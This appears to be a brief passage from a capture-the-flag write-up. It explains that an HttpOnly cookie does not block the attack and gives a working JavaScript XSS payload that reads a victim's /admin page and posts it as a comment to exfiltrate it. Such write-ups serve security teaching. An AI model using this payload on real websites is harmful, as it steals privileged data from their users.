The cookie is HttpOnly now, but we only care about the contents of `/admin`, not the cookie, so we can use the same payload for `Subdomain Takeover - Easy`, but without doing the subdomain takeover.
```fetch('/admin').then(r => r.text()).then(d => {  let data = new URLSearchParams();  data.append('name', 'admin page');  data.append('comment', d);  fetch('/new-comment', {    method: 'POST',    headers: { "Content-Type": "application/x-www-form-urlencoded" },    body: data,  });})```